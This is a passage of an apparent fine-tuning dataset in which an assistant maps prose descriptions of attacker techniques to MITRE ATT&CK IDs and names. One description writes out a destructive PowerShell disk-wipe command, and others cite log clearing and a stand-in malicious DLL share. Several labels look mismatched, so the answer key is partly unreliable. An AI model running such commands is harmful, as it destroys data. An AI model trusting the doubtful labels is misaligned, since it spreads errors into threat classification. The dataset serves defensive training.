                "role": "user",
                "content": "An attacker uses the SetThreadContext API to modify a thread's TLS pointer, causing the injected payload to run when the thread accesses its local storage."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Kubernetes API server for pod and node details using the /api/v1/pods endpoint."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads LSASS memory to dump credentials in clear text."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a compromised cloud storage bucket to download a wiper malware binary for internal deployment."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat places a crafted .oft file that registers as an Outlook Form, enabling code execution each time the client opens."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider copied the organization's CI/CD pipeline configuration scripts from the source control repository."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security event logs are cleared using the wevtutil command to erase traces of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document runs a PowerShell command to dump saved browser credentials from Internet Explorer's registry."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor issues a 'net stop' command targeting the 'RemoteRegistry' service to impair remote management capabilities."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stops the audit service on a compromised host, effectively turning off audit logging for the remainder of the session."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script changes the file association for .exe files to point to a custom executable that runs with auto-elevate, causing any launched program to inherit elevated privileges without UAC prompts."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a legacy system image that contains an older kernel vulnerable to privilege escalation exploits."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware manipulates the domain's security policy to allow remote execution of PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack was carried out by compromising a Linux distribution’s package repository, replacing the authentic software packages with malicious versions that were then installed by users worldwide."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'mshta' utility, the attacker proxies execution of a malicious script embedded in an HTML application, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a rogue COM object entry under HKEY_LOCAL_MACHINE\\Software\\Classes\\CLSID that loads a payload on activation."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates running processes looking for sandbox monitoring tools like Process Explorer, Procmon, or Sandboxie, and halts if found."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a PowerShell command that calls `Clear-Disk -Number 0 -RemoveData` to erase disk contents."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a CVE in Microsoft Edge to execute code on a visitor’s machine after loading a compromised web page."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing message is delivered to a sales team member, featuring a link to a counterfeit sales‑force login page designed to capture multi‑factor authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker used the Group Policy Management Console to push a malicious PowerShell module."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a man‑in‑the‑middle attack, the attacker strips the encryption layer from VPN traffic, sending clear‑text data to the victim."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used the \"dd\" command in a script to clone disk partitions for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a malicious Slack integration that periodically posts exfiltrated data to a webhook endpoint they control."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a compromised legitimate web server to tunnel malicious payloads to infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches a script that floods the victim's authentication app with push requests, counting on the victim to accept one without verifying its origin."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages data breach dumps from previous incidents to assemble a database of email addresses tied to high-value individuals."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invoked Regsvr32 with a remote DLL URL (\\\\malicious\\share\\payload.dll) to execute code under the guise of a trusted Windows utility."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves invoking regasm with a custom assembly to achieve execution of attacker‑controlled code."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses Shodan to identify internet-facing devices with known vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores malicious scripts inside the $LogFile transaction log of the NTFS volume, effectively hiding them from file system scans."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the \"osascript\" command to add a malicious AppleScript to the user's login items."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers spoof a request to an online IP‑whois service to obtain the victim's IP range and associated location data."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a credential‑stealing Trojan by scraping underground forums and embed it into a weaponized document."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious extension accesses the user's saved passwords in the browser's password manager and exports them."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding their DLL to the AppInit_DLLs registry value, the attackers guarantee execution each time a user logs in and a GUI process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was split into multiple resource sections of a legitimate binary to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised credentials to search for and retrieve sensitive files from a network file system."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit triggers malicious code execution by hijacking the \"On-Screen Keyboard\" accessibility feature during user login."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Regsvcs/Regasm utilities to load and run unsigned .NET assemblies, achieving persistence via scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker's tool reads registry keys to obtain Windows edition, product key, and system locale settings."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors for any removable media insertion and automatically copies the victim's browser history onto it."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Dynamic Data Exchange protocol, the threat actor injects commands into a legitimate program to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests Kerberos ticket caches from compromised hosts and reuses them to access other resources across the domain."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a custom tool to enumerate the victim's virtualization environment and hypervisor details."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker discovers an unsecured shared folder and siphons off financial reports."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system pushes exfiltrated documents to a malicious web endpoint using a single-direction HTTP request, with no response handling."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised user account to upload a malicious PowerShell script to a shared network drive, which is later run by a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a systemd timer to repeatedly spawn a process that hijacks user sessions and captures screenshots."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears the Application and System logs on macOS by calling the 'clear' utility with appropriate file paths."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command channel is secured with a symmetric encryption algorithm, rotating the key every hour."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a script that removes all system restore points and disables the Restore service in Windows."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence module registers a COM add-in for Excel that runs a malicious payload each time Excel starts after the system restarts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script calls the 'gzip' utility to compress a collection of log files before transferring them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a new launch agent plist to ~/Library/LaunchAgents to start the malicious binary on login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware variant encrypts its data exfiltration stream using a session‑specific symmetric key negotiated via a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor identifies an installer with \"Everyone\" write permissions, replaces it with a malicious executable, and uses the normal install flow to execute code."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor tool forces the operating system to use legacy encryption protocols like RC2 for file encryption, reducing the overall security."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team sets up a Helm chart that installs a daemonset executing a command on pod startup."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ algorithmic DNS name generation and query the DNS system for the resulting addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its server over a custom protocol that applies RC4 symmetric encryption to hide the payload."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password spraying attack observed where the hacker cycles through the top 20 most used passwords on a corporate VPN."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script employs Mavinject to attach a malicious payload to the LSASS process, executing under the guise of a legitimate system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises replace the system's init system binary (systemd) with a compromised version to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries altered the metadata of AWS EC2 instances to replace the SSH key pair, enabling persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a DNS resolver to translate algorithmically generated hostnames into IP addresses, facilitating dynamic resolution of C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a misconfigured cloud storage bucket to download confidential files and establish access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker set up a new DNS server on a virtual private server to point victim traffic to a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Security Accounts Manager (SAM) and LSA secrets from the registry to harvest cached domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits DHCP spoofing to provide a bogus WINS server address, facilitating NetBIOS name resolution hijacking."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by placing a malicious launch agent in /System/Library/LaunchAgents that runs at system start."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan inserts malicious code into the color palette of an icon file, allowing execution when the icon is displayed in the operating system."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leveraged LNK file hijacking by replacing the target of a desktop shortcut with a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate all mounted disks and USB devices to discover hidden or unencrypted information."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses launchd to register a privileged daemon that runs a keylogger every time the system starts."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltration tool extracts email addresses from the user's address book stored in the Windows Contacts folder."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
